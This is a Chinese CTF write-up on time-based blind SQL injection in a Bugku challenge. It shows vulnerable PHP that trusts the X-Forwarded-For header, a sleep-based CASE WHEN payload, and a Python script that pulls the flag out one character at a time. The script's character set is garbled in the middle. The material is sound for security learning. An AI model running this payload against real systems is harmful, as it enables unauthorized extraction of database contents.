1. 程式人生 > >SQL基於時間的盲注(BUGKUCTF)

SQL基於時間的盲注(BUGKUCTF)

這篇只是為了讓我自己做個記錄

在進行一個BUGKU的ctf:http://123.206.87.240:8002/web15/
題目給出了原始碼:

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

1、首先訪問一下,看到就是原始碼裡的功能,從header中獲取你的ip
在這裡插入圖片描述
2、看看程式碼
$sql=“insert into client_ip (ip) values (’$ip’)”;

將ip插入到資料庫中。
$ip_arr = explode(’,’, $ip);

這裡已經把逗號去掉了。所以之後的利用不能使用逗號。
substr(,,) 這個不行了
這裡用case when then else end。

思路:然後我們可以將values中的ip先閉合,然後執行其他程式碼。
先預測一波flag在flag表中的flag欄位中。猜flag的長度。

利用:
1’ and (case when (length((select group_concat(flag) from flag))=32) then sleep(3) else 1 end))#
如果延遲了3秒後才刷新出網頁說明長度正確。這裡可以用python直接跑一下。
在這裡插入圖片描述


這裡直接用burpsuit得出為32.,然後接下來用python跑一下flag吧。

import requests

if __name__ == '__main__':
    url = "http://123.206.87.240:8002/web15/"
    data = "1' and (case when (substr((select group_concat(flag) from flag) from {0} for 1)='{1}') then sleep(3) else 1 end))#"
    #data_cd =   "1' and (case when ((select length(flag) from flag)={0}) then sleep(3) else 1 end))#" 爆長度
    flag = ""
    for i in range(1,32):
        for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,
[email protected]
#$%^&*.": try: header = {'X-Forwarded-For': data.format(str(i),str1)} requests.get(url, headers=header, timeout=2) except requests.exceptions.ReadTimeout: flag += str1 print flag break print "flag{"+flag+"}"

成功得出結果。

by pandar